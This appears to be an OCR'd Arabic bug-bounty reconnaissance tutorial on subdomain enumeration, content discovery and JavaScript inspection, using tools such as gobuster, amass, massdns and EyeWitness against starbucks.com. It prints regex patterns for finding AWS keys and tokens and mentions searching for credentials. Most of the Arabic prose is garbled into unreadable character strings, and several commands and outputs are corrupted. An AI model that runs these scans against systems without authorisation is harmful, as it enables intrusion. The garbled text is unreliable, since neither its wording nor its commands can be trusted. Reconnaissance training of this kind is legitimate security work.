2o dleliy QgSuull a3l gag Lglacoxpatrlk Sl aygall 4 ols SUI U.QQX‘ yoxall ge oS 1y JS
2980 LS lasie Syl Go 1S b (1S9 LgSudl ax fa@_»l_x 1g0l8 0358 @l yi aud ol
iy Gale 1aS asls alS eliginly lL.oSony S)

&blgCIDR ranges, domains, and other assets agio 118 ail>l> dyguid Lidyhig
& Joball o d>ya S 8 agossin (185 148 g8ga alS LiySig s goubgall $amass pasiwsd

Forward DNS
Database

Brute
Force(Gobuster)

T— ‘Wordlist

Domain

—>  DNS Resolve List

Permutation(altdns)

Crt.sh

[——>{ Third Parties(Amass)

Virus Total

— Github Netcraft

Search Engine

Other

CERTIFICATION TRANSPARENCY LOGS

unauthorized | ¢lslgl) §.815 gmonitor adac Jawi jLideCertificate log I alasiiwl pin

logs )l (& Jxuuio (9849 subdomain I gl (091 USSL certificate lgid cuxio aya JS Sidgls agall
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crt.sh) B

Criteria Identity LIKE ‘%.facebook.com

Certificates crt.shiD  Logged At ff Not Before Not Aftes lsemﬂ Issuer Name

Wguiiig 63 wlgaRLy g 118 wlgal plisiuly gslogs Il Gle 16y 2931 § ayl @aginl 135S il b
subdomains.|

élli Sle Jliaert.sh aasiad j185

https://crt.sh/?q=%25.facebook.com

Tools
sy L A8 Lalea Ly SUI @lgaXl assiwl

command line and a python script

by 32l 18y 2l ub

acky ¢l sg
https://github.com/ghostlulzhacks/CertificateTransparencyLogs

SEARCH ENGINE


https://crt.sh/?q=%25.facebook.com
https://github.com/ghostlulzhacks/CertificateTransparencyLogs
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cllia QilS 2gyig e dlyna 6l 9l 9] 2gyia il mudl e (4o

site:
Jole 2gyia Sili éllyghn aigle yiro yuiS ellolhy 2850 ¢y 9lg
-site:
b site:.facebook.com -site:www.facebook.com
All Images Videos Maps News

41,000,000 Results Any time ~

Facebook - Log In or Sign Up
mbasic.facebook.com ~

Create an account or log into Facebook. Connect with frien
photos and videos, send messages and get updates.

Log Into - Log in FB - All in One - Facebook Policies - Help C]

Log in to Facebook | Facebook
en-gb.facebook.com/login.php ~
Log in to Facebook to start sharing and connecting with yo

Log into Facebook | Facebook
https://apps.facebook.com/doubledowncasino ~
Log into Facebook to start sharing and connecting with yo(

Facebook - Connexion ou inscription
https://fr-fr.facebook.com ~ Translate this page

Iﬁon)ﬁlabmmumglﬁdJJJm)malgglm
09 e e lglale SUI ol éls oy SUlg
https://dorks faisalahmed . me/

find subdomains Jlauidl Sle i 8slia

FORWARD DNS

absyeidl Jos> alehiuwl Jann 9o gRapidy project gag 148 8-‘)*“—”  g9yira e plSiia
a2ilidl Al blal) 1§y cuwidy plide aallell

Data JSuis Sl ¢l lgossygD willscan Jamy 14S le 30
lagassiunsecurity researchers Jl oLide (o Ginly aydgia sdata Jl (o o

00 8yuS pilgd gaxi Liil yasiforward DNS dataset Jl alasiwl Gayb e 09 Gili asls cub
aahiall Gaiin U_Lllsubdomams Al

Laa Ul @lizegall JSIA, AAAA, CNAME, MX, and TXT records sl J&nRapidy L&) ¢luic
lic 1982

anad alily ge e Husi il iy by iyl $ Llainisig alhsly lgihasd pin alogleall aing
subdomains |


https://dorks.faisalahmed.me/
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https://opendata.rapid7.com/sonar.fdns v2/
https://opendata.rapid7.com/sonar.fdns/

Jaxi glidezgrep assiuna 2oy g clicly Jlivoyuill xivia Lo o gadataset JI Joxi Lo Jol

RS

alex@alex- VowerEdqe R710: /storages zgrep '\.starbucks\.com",'

2019-10-26- 1572133354 fdns_any.json.gz

10 10 5060 sparkexpressl.starbucks.co"}
sip._tls.starbucks.com","type": v @ @ 443 sip.starbucks.com"}

_sipfederatxontls _tcp.starbucks.com", type s"srv","value":"® @ 5061 sip.starbucks.com"}
{"timestamp": :"_sipinternal._tcp.starbucks.com","type":"srv","value":"0 @ 5061 chdlyncpool®l.starbucks.com"}
{"timestamp":"1572148605", "name":"_sips._tcp.starbucks.com","type":"srv","value":"10 10 5061 sparkexpressl.starbucks.co"}
{"timestamp":"1572148468", "name":"_xmpp-server._tcp.starbucks.com","type":"srv","value":"0 @ 5269 chdlyncedge®l.starbucks.com"}
{"timestamp":"1572148987","name":"a.ns.e.starbucks.com","type":"a","value":"65.125.54.133"}
{"timestamp":"1572148551","name":"a.ns.e.stories.starbucks.com","type":"a","value":"65.125.54.133"}
("timestamp":"1572150025","name“:"a:tivesync—iad!.starbucks.com","type' ,"value":"98.99.254.175"}

{"timestamp":"1572150150", "name":"activesync.gtm.starbucks.com","type" "value":"98.99.250.137"}

{"timestamp" _tcp.starbucks.com”,"type":
{"timestamp"

{"timestamp

sip.

{"timestamp":"1572150150" .'name

"activesync.starbucks.com","type"

"cname ,"value :"activesync.gtm.starbucks.com"}

Jl 6255 Igogsma Lo LI,

zgrep ‘\.domain\.com’, path_to_dataset.json.gz

\" Q" ot Gl aS Ul GuSama Il Gayb e ésngzip ol @b as
¢leo Bua 133l @ G @Wl 3030GB JAls cinpa élely alail oX agl didny 6y dulasll
subdomains JI ;0 8 8list

GITHUB
(sg;l.usource code Jllgiysy oLideGithub Il pasic opyghall cilél
2 ad ol (S0 2o pgeliy 3980l gprivate or hidden endpoints

i y187 e iyilendpoints 8ilia ojlias 8358 gisubdomains Jscrape Jasi Liil 6)84
https://github.com/gwenoo1/github-search/blob/master/github-subdomains.py

alex@alex-PowerEdge-R710:/storage$ python3 github-subdomains.py -d starbucks.com -t
unable to cache TLDs in file /usr/local/lib/python3.5/dist-packages/tldextract/.tld_s

www.Sstarbucks.com
globalassets.starbucks.com
.cert.starbucks.com
.dev.starbucks.com
.appdev.starbucks.com
loadglobalsecureui.starbucks.com
globalloadsecureui.starbucks.com
globalsecureui.starbucks.com
stageglobalsecureui.starbucks.com
globalstagesecureui.starbucks.com
store.starbucks.com
www.app.test.starbucks.com
.test.starbucks.com
testglobalsecureui.starbucks.com
app.starbucks.com
preview.starbucks.com
mobilelogin.starbucks.com
green.starbucks.com
alexa.starbucks.com
testwww.starbucks.com
stageglobalassets.starbucks.com
tsticommerceagent.starbucks.com
loadglobalassets.starbucks.com
testglobalassets.starbucks.com

dbyr adyei iR Gly ¢S GlS 1y


https://opendata.rapid7.com/sonar.fdns_v2/
https://opendata.rapid7.com/sonar.fdns/
https://github.com/gwen001/github-search/blob/master/github-subdomains.py
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381 G elelin 98yl dilac (& Lgoasiuia el SUlwordlist Il cuxi gl e Sidgls alSiio
> 138 (9 (i8g)s lgalasiwl Gyeia WGitHUb le s39>g0 SUISecList JI e alSi Liil p3%
list 138 axleg Github _le 39>g0 lsRepo Jl o)l Lidgls a3Sall

https://github.com/danielmiessler/SecLists

ROBOTS DISALLOW

sgl>endpoints 835 el ol Lo lgale 3830 1815 jpgy00 asl> yiSIBrute force Jamiy (5955 Lal
i L 3937 1 oskall esblusall e sy 1SN ol oulS 0 g3sall Ly s e cn
@39 118 65 SUl wlalallg index.php Jl calo L8 ail e JS

e 03itia apls 0lSyhg J2o> €S i3 0lisy b ol Lo Lable L85 il ax1> a8 b
§ al Gayb e 1S Jasty b gllsall § 029390 Ul chlusall iy Lol Latibog cull

dia yinysiagrobots.txt dawl ga SUlcalall & a39>90 Ul alluwall g Lgil

i el il aud 639390 (o SUI @illuall jazddisallow Jazw il agén s clall b
>l lolglan pgil 9ag ugs &

el § a393gall enylusally 8)Ly3 gélgall yiS1 gty aalexa Lgaml asls uic Libgls b
pggiang gilsal

top ¢ llalexa ¢lu cariai § s19>g90 Ul g8lgall l9>9) agil lgagsn 5)SLall jasm 4143
100K

Lgiclig pgsd 839290 SUlblusall o ail l9dg.ing pgué SUlrobots.txt Il (aasly lg>gy cpnaey
aungSendpoints L&) s


https://github.com/danielmiessler/SecLists
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RAFT

a8 cub alylual) brute force | aulac (8 55Slal) Cgixa £4i gl gaWordlist Il (ya 1y ggill
TITRS U.Lc lobg asls Al S Alewidly LAl dia sl aslgg oo aslg alo 138 dio
L:):EﬁXla|“: "ig_?,i&_'!d.'l'é |:'.. ....zm‘tr?uh_éés_dl

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-
large-directories.txt

https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-
large-files.txt

ECHNOLOGY SPECEFIC

L) danielmiessler / SecLists

<> Code Issues 4 Pull requests 0 Projects 0 Wild

Branch: masterv  SeclLists / Discovery / Web-Content /| CMS /

bw] draguntsow Create a wordlist of Modx Revolution CMS packages =

[E) ColdFusion.fuzz.txt - sorted alphabetically

E) SAPfuzz.txt rename 's/_j/-/g'

[£) Sharepoint.fuzz.txt rename 's/_/-/g'

E) SiteMinder.fuzz.txt rename 's/_/-/g'

E) Sitefinity-fuzz.txt rename 's/_[-/g'

E) caobox-cms.txt rename 's/_/-/g'

E) drupal-themes.fuzz.txt rename 's/_/-/g'

E) flyspray-1.0RC4.txt Add "-" to split up words, move]
) joomla-plugins.fuzz.txt rename 's/_/-/g'

ol dluie yolb wil i Gimy (oo (asi Jazia dled U (26)9iSill cuus Sl elil Lia oyS0ll
cal> poyidjoomla (j9%y sie Xgasp lasdlist o gasia Gira el LS8 php Jleds gégall
el cunia Gire 1Sl ahluall Sle GaxigWordpress

COMMON SPEAK

https://github.com/assetnote/commonspeak?2

https://github.com/assetnote/commonspeak2-wordlists

éleliy Joidll § lgassiws 1187 glaS 6



https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-directories.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-directories.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-files.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-files.txt
https://github.com/assetnote/commonspeak2
https://github.com/assetnote/commonspeak2-wordlists
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ALL

jheddix AcWordlist J! iluiia 4ua

https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056

BRUTE FORCE

subdomains 1lbrute force Jawi<lil a9 wguxall Gyl pus! (o

Ul pgsd (o bguiigsubdomains JI o S IGET Requests  Jaszn dil Jsii (Sas el
hle |y Slgresolve Lo

woylillpackets JLuyl ggusubdomains Ubrute force  Jawl dalisiwl piy 5aDNS |
éleliy

il 13lIp Jresolves 4o glasubdomain Il LADNS Requests JLayl g alasiy el JUI S
alive ail Lia (ayoia

https://github.com/O]J/gobuster

o il ady aidg 63 adasll § lgassinsd (San el @ CAlEY duwilly Yol Ganst o o Jol
wordlist 118 ¢lleo

github 1l jle a39>90 SUISecList Il Jle ¢llgda yirag

alex@alex-PowerEdge-R710:~/tools$ ./gobuster dns -d startbucks.com -w subdomains.txt

Gobuster v3.0.1
by 0] Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

[+] Domain: startbucks.com
[+] Threads: 10
[+] Timeout: 1s
[+] Wordlist: subdomains.txt

2019/11/83 19:00:35 Starting gobuster

Found: www.startbucks.com
Found: mail.startbucks.com
Found: webmail.startbucks.com
Found: docs.startbucks.com
Found: calendar.startbucks.com
Found: email.startbucks.com
Found: e.startbucks.com
Found: ftp.startbucks.com
Found: pda.startbucks.com
Found: pop.startbucks.com
Found: imap.startbucks.com
Found: smtp.startbucks.com

s 138 oy elil 18Ul @ sl 2l cuxia Lo JS aungSwordlist élleo Loy Lo JS

SUBDOMAIN PERMUTATION

gezosubdomain sg>g) yiS wlalyidl Jasn clil ag 2l
test.starbcuks.com ¢luic el ¢l inay


https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056
https://github.com/OJ/gobuster
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S duie G8a (San 138 Wdev, stage, production pgiowordlist (§ cilalS @luic cil wdyg
$ ) e@szlkuuimu.l_ll alivagadl (1o

devtest.starbucks.com,

dev.test.starbucks.com,

production-test.starbucks.com

O%U@Lubeuﬁ\@mwdmwgmw@umlw
https://github.com/infosec-au/altdns

o ailagSdl s
altdns -i found_subdomains.txt -0 permutation_output -w words.txt -1 -s
resolved_output.txt

alex@alex-Power quv LI T altﬂss B LTaNS T L0 DUCKS SUDCOMAINE AT 0 COTa CUTPUT W WOTaS TXT T 5 TesUlio Output tnt

raw- (.L scmdev.starbucks.com :

alembic-lax.scm lLE-l starbucks.com : 98.99.252.195
gist scmdev.starbucks.com : 98,99.254,
rev'.ews—'a'nuLcrtest.:tar:LLks.cc'ﬂ : 98.99.252.19
acc-alembic.scmtest.starbucks.com : 98 ]
proxy.raw.scmdev.starbucks.com : 98.99 3
administrator-pages.scmdev,.starbucks.com : 98.99.254.231
UI'p.:L'rLesL.s'.uleub com : 98. .252.19
s.pages.scm.starbucks.com : .254.7
westeuropeupload cm.starbucks.com ; 8.99,254,230
rawfrontpage.scm.starbucks.com : 98.99.254
turk.render.scm.starbucks.com : 9

93 oiasa Wye alsls lged L85 jugshidden wlsls dlyxua (Sg edg dlia a3l (San Gu
lelo

OTHER
UQBJS.,J.uLu_bLlDlMIUUJL@W@JMMIUQL@QM)MUUUJLOANUQ)@l4.;3
pgossiuia Sllcommands I Jasig 6 Hoill cuiig dlusi phis 18y Tas g 3)g3 daguis

1slg aslg Jlgile palaxi eiagigll Ly el g d.b).ﬂdj_‘ul.ﬂ_\w)iu.‘ b Jexig o

lgio coumiy U yslaall culeél agthird parties le saiwi g alSuisall cilel ol o)Sall

99 3 Wlagleall
e Virus Total

e Netcraft

e DNSdumpster
e Threat crowed
e Shodan

e Cencys

e DNSdb

o Pastebin

TOOLS

AMASS


https://github.com/infosec-au/altdns
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Lid alac U1 L8631 ymall § Libigls Laossiuing 63 813X ga alad el Lasd LiSgls (pgyaal

oxpatrik

https://github.com/OWASP/Amass

amass enum -passive -d <Domain Name Here>

alex@alex-PowerEdge-R710:~$% amass enum -passive -d starbucks.com

third parties vendors (eapi lalea Lgil agyyhy Jonin gs ol calel el Gili éllgsy aoy

scraping Jl ddac Jaon laiog

KNOCK.PY

o olidde lgsg Qa8 §S)g ayiSsubdomains igai s ol ol Wguiiay Jo2l ayall
IS paai glinle lis aungS gdstatus code Jl U_'>9J9_.SJJ|response J $ élloyen

subdomain

https://github.com/guelfoweb/knock

knockpy.py <Domain Name Here>

alex@alex-PowerEdge-R710:~/tools/knock$ python knockpy/knockpy.py starbucks.com

+ checking for virustotal subdomains: SKIP
VirusTotal API_KEY not found

+ checking for wildcard: NO

+ checking for zonetransfer: NO

+ resolving target: YES

- scanning for subdomain...

Ip Address
8.33.184.254
67.134,222.254
8.23.247.244
98.99.252.56
1084.80.77.244
104.80.77.244
104.80,77,244
12.18.141.21
204.238.150.111
216.161,14.,126
98,99.252,42
98,99.252,42
204.74.99.103
98.99.252,176

Status

Type
host
host
hast
hast
alias
alias
host
host
host
host
alias
host
host
alias

Domain Name

a.starbucks.com
a.starbucks.com
a.starbucks.com
api.starbucks.com
app.starbucks.com

apps.starbucks.com
auth.starbucks.com
aw.starbucks.com
beta.starbucks.com
wwwstage, starbucks.com
blog.starbucks.com
blogs.starbucks.com

Server
Apache
Apache
Apache
BigIP

AkamaiGHost
starbuckssites.starbucks.con.edgekey.net

€13595.a.akamaiedge.net AkamaiGHost

UltraDNS Client Redirection Server
Microsoft-II5/8.5
—

AkamaiGHost

Subdomain Enumeration Jl dl>ja (§ deyun @lgadl e alSiia 115 Loy

138 Jasi oLiale 18 @b aud @luic

brute forcing,


https://github.com/OWASP/Amass
https://github.com/guelfoweb/knock
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forward DNS database,
and subdomain permutations

third party vendors resourcell JSscrape 5 gLidle pisiwd gSacAmass ca Ul Joidl ¢laic
s

subdomains JI JSJbrute force Jl al>yo 6 lgassiuni jSaoGobuster ¢luic

subdomain permutations JI dl>ya (§ lgassius (SacAltdns &uie

DNS RESOLUTIONS

a0 8yuS dald ersacl ¢bil 181 pi¥subdomain enum a4 Jaswn edl SUledgll 4
subdomainsi
JSa s Pl ive SUlg Jleds I P@Js Osa &= ayXendpoints JI aiglprobing JI al>yo 49

A record | L,_Lc 6930 99 9l Wguinng (2o o9y Sledns lookup aulac Jawiy ablun
Dead 84 2% glalive lsSubdomain I o 891l o

axsiny wy S Ly

https://github.com/blechschmidt/massdns

git install https://github.com/blechschmidt/massdns.git
cd massdns
make

command line json parser. ;a9 819>94tool auulially §39JQ pasiuna ail dlgsy
https: //glthub com/stedolan/jq

dns resolvers Jl (o dald ¢lza (9% 232 Llgassiwi lideg

'8.8.8.8" J>9> glindns Jl audyle LS 9o LUl agin 1519 ya.ilg

command : Jl lsg

./bin/massdns -1 resolvers.txt -t A -o ] subdomains.txt | jq
'select(.resp_type=="A") | .query_name' | sort -u

DNS resolvers Jl 30 aayld e s9inn g9SiResolverstxt Jl 232 118 Xl
Laall il Xg dllsedy lgdguini jomiay cuil U_LHdonrlaurls Al Jle gginnsubdomains.txt Jlg

jq Upipe Jo=u 118 1oy
Sort - b e saall Judas 553 s

github _le ohttpx lgawltool Jaxielil dlxaia Ll
httprobe lgawl SUITool Jlg o lgic cunad j183
httpx pa:d gyl lob

SCREEN SHOT

1lg 1>y agnidia yira 181 & sy saelSubdomains ) sae dlleo Jogr Saall o b
wuﬂlu@l)_d.mwlIwwu)wdm§dmwgp9@|9@P@Jﬁp@lb@g@dlaﬂ
sisinteresting aule (b yive Ul 4ilg yiSlfunctions


https://github.com/blechschmidt/massdns
https://github.com/stedolan/jq
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Screenshot Gathering I acliy aixJl $RCE J 5281 SUl Xl saein pgall
: 6aTool Il pasiui yus5

https://github.com/FortyNorthSecurity/EyeWitness
ascommand JI Gy e

Python3 EyeWitness.py -f subdomains.txt --web

alex@alex-PowerEdge-R710:~/massdns/EyeWitness$ ./EyeWitness.py -f subdomains.txt --web

# EyeWitness #

# FortyNorth Security https://www.fortynorthsecurity.com #

Starting Web Requests (322 Hosts)

Attempting to screenshot http://tatathshshaj.sjsjsjahshshs.abcdefg.starbucks.com

[*] WebDriverError when connecting to http://tatathshshaj.sjsjsjahshshs.abcdefg.starbucks.com
Attempting to screenshot http://games.starbucks.com

[*] WebDriverError when connecting to http://games.starbucks.com

Attempting to screenshot http://tazoteatime.starbucks.com

[*] WebDriverError when connecting to http://tazoteatime.starbucks.com

Attempting to screenshot http://api.starbucks.com

Attempting to screenshot http://investor.starbucks.com

Attempting to screenshot http://red.starbucks.com

CONTENT DISCOVERY

il Lgud Slling @ 580yl gl el (8 ablyidl als> ya gg8Content Discovery U deuilly
élicly asyiidl Jle ledo

S @l &) elelintarget JI gendpoints 815 ¢lil g |y 9594l Iy U_wLuXI el lia pgall

Je adlaiun asls sl gllog files, config files, interesting technologies , applications ilis

wd 53 aloall Jasia @il LUl gégall s

Wayback Machine |——

Gommaon Grawl
Archive

Passiva
—>»  Endpoints
Googhe Darks  ——

Domain Crawiing

Other —

Active ——» Crawl the website ——

Word List Brute Force

SELF CRAWL

@dg (§ pg>yill QLI U assiiwd 185 glburp suite Jl glacrawl] Jl ausind gSao ls ;)SLESLJ@
&atool Il ansias elil ga SUlg

https://github.com/ghostlulzhacks/crawler/tree/master
aasaendpoint gl dllyua iva 1y JSuidly o8)q
recursive a8y calSilll S yo30 Lail dlawiy o SUI S



https://github.com/FortyNorthSecurity/EyeWitness
https://github.com/ghostlulzhacks/crawler/tree/master
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python3 crawler.py -d <URL> -1 <Levels Deep to Crawl>

alex@alex-PowerEdge-R710:~/tools/crawler$ python3 crawler.py -d https://starbucks.com -1 1
https://starbucks.com/

https://starbucks.com/store-locator

https://starbucks.com/account/signin

https://starbucks.com/account/create

https://starbucks.com/coffee

https://starbucks.com/menu

https://starbucks.com/coffeehouse

https://starbucks.com/responsibility

https://starbucks.com/coffee/how-to-brew

a dbluny X uil>ya e Gudasiiacrawl Jagi (i lal dlil lgio ¢l 3315 03X adyy dbglag

0 = U s W@

Jowi lase) j18TURLS dud 39390 blo cilac e ¢lil Gag alS 1y a8 (4o 0ySall o ayl cub
381 e’ S8 g >glgiSiUfingerprint 5 gendpoints le agid y9iginspect

WAYBACK MACHINE CRAWL DATA

Qg Ll Jgw2l (8g Leds 1i8burp JI 65 Liwsnactive crawl  Jawi Ll yasi

diyas Ul pndill xaaill Slerate limit a3l Layy olidde &> @l8~Uthird parties vendors
ly dlawiy il

€ @l ge oyl lsWayback machine U auuilhy cub

Screen a8 lgasby SUI cdgll 4Crawl Jozug géga JS Gle 2oy dbluy cull il e oylie
abildl axcld (& go abilul Jusewsll gshots

" https://web.archive.org/

ol @lliSq s o slil Jole GlSyahoo Il JSui bguini (Saa Mo élil agls asls woy

i NE§N whHy élgy

11S Juderawl Lglasil SUTablaall S ge LalAs (o pleiw (Sas gsendpoints Jl iz pgall

e -

I:1 428 URLs have been captured for this domain I

‘https://web.archive.org/web/*/facebook.com/*"

agio yuiS ailsls e 915 T Lo dllyghia U1 sl JAls ga jSaag
backup information cus dlil li> a3yd) asls 95u0 9o SUlg"bak” 4 Lgiin Mio als
o5l ens a5 oS 0 iy Lo


https://web.archive.org/
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® .Zip

e .config
e /admin/
® /api/

el cdgui cil Alia ol o3 lilidl Gle (ad @lil Gayb e @yl 83 (San GlaSg R 1sS G Gire
la L

‘example.com/?redirect=something.com”

8.1 el Mo gJSSRF vulnerabilities glopen redirect ay9i cuai clil (Saall (o

GET parameter ‘msg="

xS le ygui 5185 wil Lo

9l sgl>Waybackurls Laawl U1 Joi @iy Ll Lia

D oy Lgdguini yadi aoy |y glgall o calluall JS Coumn cunySan Jole Lia GilS)l b g
https://github.com/ghostlulzhacks/waybackMachine

JoXlWayback machine U 39X ayle Jowivia cil Ul gdgallerawl Jasi 1847 Lo Ju8
delnerawl Jl el Jacl Tul laasig gulill Gasb oc 138 J,-_q Jazil SUlerawl JI assiwlg

COMMON CRAWL DATA

psiLwi yrgiwayback machine I ) Sili asl> i laS
http://commoncrawl.org/

ls eyxllAutomate 5 jLirle @liS)l wslo gliSeript Jl awd g
https://github.com/ghostlulzhacks/commoncrawl

l—\s l LI I 9

python cc.py -d <Domain>

alex-PowerEdge-R710:~/tools$ python cc.py -d starbucks.com | more
Mlns //wu starbucks. co-/

http://www. starbucks.con/

http://www.starbucks.con

http://starbucks. con/

https://www.starbucks.com

https://www.starbucks.com/7utm_term=starbuckségclid=CjwKEAjw19vABRCY2Ynkp0202TsSIAAZEtBs2n2SQ40r JMCXEXGBBBr_rMVRS30WmECtWAXtTFG1PBoCwdHW_wcBS&Cm_mmc=google~_-BR+%CINA2WC24BONC2%934Br
and+%C3RA2MC2480%(2493+5tarbucks+¥CINA2MC2580%C 2493 +Desktop+HC3WA2NC24BOKC 2493 +Exact-_-Brand+-+Starbucks+-+Desktop+-+Exact-_-starbucks_mkwids7CswofCuSMS_dck7Cpcridv7C146373008545%7C
pkwh7Cstarbuckss7Cpmta7Cebutn_campa ign=BR+4C3NA2NC2480%C2493+Brand+AC3NANC 24800 2493 +5tarbucks +%C3NA2NC2480%C 2493 +Des ktop+HC3NA2NC2480NC 2493 +Exac tbutm_medium=cpcbuta_source=google
https://www.starbucks.con/?capid=ETC00100

https://wew, starbucks.con/?uts_source=tripadvisorbuts_medius=referral

https://www.starbucks.con/?utm_source=vectorlogozonebutn_medium=referrer

https://www. starbucks.con/about-us

https://www.starbucks.com/about-us/company-inforsation/business-ethics-and-compliance

https://www. starbucks.con/about-us/company-inforsation/corporate-governance

https://www.starbucks.com/about-us/company-information/corporate-governance/board-committees-list

htt s://m.s(arn-ucxs.cul/anout—ns/:umﬁny—mlurna\mn/n-ssmn-s&ateuen{

92 JUlpipe Jawi jguio STl eil2014 e SUlendpoints JI JS ¢llyxis Lo
ilURLs | (3o o yuS duas SAlia 38lg 18 wansi (as el ala & dhaxigoutput U I
Galmd iy o

DIRECTORY BRUTE FORCE

crawl lglac 1> (yiigSuo (Saa g9l xiSHidden endpoints 4 ()léS e sa>glerawl I
L Sle gan 11 lae el (Saswordlists I le saimadirectory bruteforcing J 118 jLiled

s als
backup files, core dumps, config files pgiad (0


http://commoncrawl.org/
https://github.com/ghostlulzhacks/commoncrawl
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pgio diax> 3 algal sl wdgll § sy aué lob
ffuf, dirsearch , gobuster

&3 8.2l Si8glsy assiiuia

https://eithub. com/O]/gobuster

ad gowordlist Jl cusia Wyle il Ladng
Seclist :)

command :Jllsg
.Jgobuster dir -k -w <Wordlist> -u <URL>

alex@alex-PowerEdge-R710:~/tools$ ./gobuster dir -k -w SecLists/Discovery/Web-Content/raft-small-files.txt -u https://delivery.starbucks.com

Gobuster v3.0.1
by 0) Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

[+] Url: https://delivery.starbucks.com

[+] Threads: 10

[+] Wordlist: SecLists/Discovery/Web-Content/raft-small-files.txt
[+] Status codes:  200,204,3081,302,307,401,483

[+] User Agent: gobuster/3.8.1

[+] Timeout: 10s

2819/11/09 18:26:18 Starting gobuster

ffavicon.ico (Status: 200)
/robots.txt (Status: 200)

2019!11!09 18:27:208 Finished

oeiéy g Jaiy (SasContent Discovery

passively or actively

craw lglasy agil (§ Igassiuy ol $SayThe WaybackMachine and Common Crawl JI ¢luic

Lasa dul UJ_v_“_ul 9o Sllgpassive I le Jlio 5 Jga 389 éleliy el lendpoints Ul
St eyl (g el i

LialSil Lo 6y clastiactive crawl Jawi (Saa dliic 4, ady gl
INSPECTING JAVASCRIPT FILES

olé cliusi 8iacrawl Jawile seyFront End JI $javascript assiwn Gidgls gélgall cilél
endpoints Il ;o yis)l &l
Sjavascript files JI (8 @yl (8MS ()San b

AWS keys, S3 bucket endpoints, API keys, etc...

LINK FINDER

endpoints ¢ll> 5w ledaa iwyjavascript files )l yoparsing Jawi SUl @lgaXl o g3 822l
£9x80 ong legi JuagS 298Il S Sl Ul sgjsbeautifier  §ayb e Joiivn (a9 Lgia

Lo Legi

o 2ol @y ail (& Juindself crawl | gl e32l o) (63 ala2l axstiuns Lo dale CAlSI ¢l pgall
javascript 4 Lo gégall

https://github.com/GerbenJavado/LinkFinder



https://github.com/OJ/gobuster
https://github.com/GerbenJavado/LinkFinder
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python linkfinder.py -i <JavaScript File> -o cli

alex@alex-PowerEdge-R710:~/tools/LinkFinder$ python3 linkfinder.py -i https://cdn.optimizely.com/js/6558036.js -0 cli
/dist/preview_data.js?token=__TOKEN__&amp;preview_layer_ids=__PREVIEW_LAYER_IDS__

http://store.starbucks.com/coffee

http://store.starbucks.com/tea

http://store.starbucks.com/drinkware

http://store.starbucks.com/equipment

http://store.starbucks.com/collections/sale-collection

https://www.starbucks.com/account/home

https://www.starbucks.com/menu

httgs:“www.starhucks.cam

sensitiv | Jle youi Lail Lgio dealudl 6ySall 63 alaXl (1S)g lgossiwd (San ady auili 8l 6o
) ) e or interesting strinés
Jo (gsensitive information glAPT keys, AWS credentials lguundevelopers Jl cllell §

javascript Jl »ala

https://github.com/incogbyte/ijsearch

REGEX_PATT = {
"AMAZON_URL":r"https?://[*\"\\'> ]+",
"AMAZON_URL_1":r" [a-z0-9.-]+\.s3-[a-z@-9-]\\.amazonaws\.com",
"AMAZON_URL_2":r"[a-z0-9.-]1+\.s3-websitel[.-](eu|ap|us|ca|salcn)",
"AMAZON_URL_3":r"s3\\.amazonaws\.com/[a-z0-9._-]+",
"AMAZON_URL_4":r"s3-[a-z0-9-]1+\.amazonaws\\.com/[a-z0-9._-1+",
"URLS":r"https?://[*\"\\'> 1+",
"AMAZON_KEY":r" ( [*A-Z0-9] |~) (AKIA|A3T|AGPA|AIDA|AROA |AIPA|ANPA|ANVA|ASIA) [A-Z0-9]{12,}",
"UPLOAD_FIELDS":r"\u@@3cinput [*\u0@3e]+type=[\""']?file[\""']1?",
"Authorization":r"~Bearer\s[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-fO-9]{12}$",
"accessToken":r"*acesstoken=[0-9]1{13,17}"

ay9all g nlbilo gy gusazll Gusb ge p9sin 53 Gl adyybg

python3.7 jsearch.py -u https://starbucks.com -n Starbucks

alex@alex-PowerEdge-R710:~/tools/jsearch$ python3.7 jsearch.py -u https://starbucks.com -n starbucks
>> [Errno 17] File exists: 'starbucks.com'

[INFO] Getting info from: https://starbucks.com/static/js/library/modernizr.custom.js?

[INFO URL] http://modernizr.com/download/#-generatedcontent-csstransforms-csstransitions-localstorag
stallprops-prefixes—-domprefixes-css_filters

[INFO URL] http://www.w3.0rg/2000/svg
[INFO] Getting info from: http://cdn.optimizely.com/js/6558036.js

[INFO URL] https://developers.optimizely.com/x/solutions/javascript/code-samples/index.html#page-act

[INFO URL] https://app.optimizely.com/js/innie.js
[AWS INFO] https://cdn-assets=-prod.s3.amazonaws.com/js/preview2/6558036.js

elicliy bl e gLiile ey oSl Gusinyl gy s @il 1Sl



https://github.com/incogbyte/jsearch
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GOOGLE DORKS

§ 6 dlsyall (& ghil din sloiunia Jo95 dckiy alSygal) iy Sidgls cub
paycq find hidden assets, credentials, vulnerable endpoints,, Lob

alSygudl o sl Lia Ugsb.o)
https://[www.exploit-db.com/google-hacking-database

DORK BASICS

site:<Domain Name>

site:stories.starbucks.com

Endless Possibilities - Starbucks Stories
https://stories.starbucks.com » stories » opportunity
Jul 16, 2018 - Meet two Starbucks partners who create opportunif§

Leadership - Starbucks Stories

https://stories.starbucks.com » leadership v
president and chief executive officer - Rosalind (Roz) Brewer. chie}
president - Andy Adams. senior vice president, Store ...

Starbucks announces pay equity for U.S partn
https://stories.starbucks.com » stories » equalpay ~

Apr 10, 2018 - Starbucks is working toward achieving gender pay
reaching that milestone in the U.S..

dllyghin Ul el b yilaia s go el g

: “inurl:” and “intitle:” 53 asl> 138 awby Sili audg

https://gbhackers.com/latest-google-dorks-list/

&ly93 als uny o @l g 1918 ghil e lgalSig 3aS bluly bguidy pgic Gy Jasd jass
ol § pagorsial 1S

THIRD PARTY VENDORS

third party vendors Jl saxi ojlidde J>g> ackiy calSygall ansiiwi el Lio
pa ¢ gTrello, Pastebin, GitHub, Jira s gélge pasiwi Lo $ale calobriall ol 108 iz

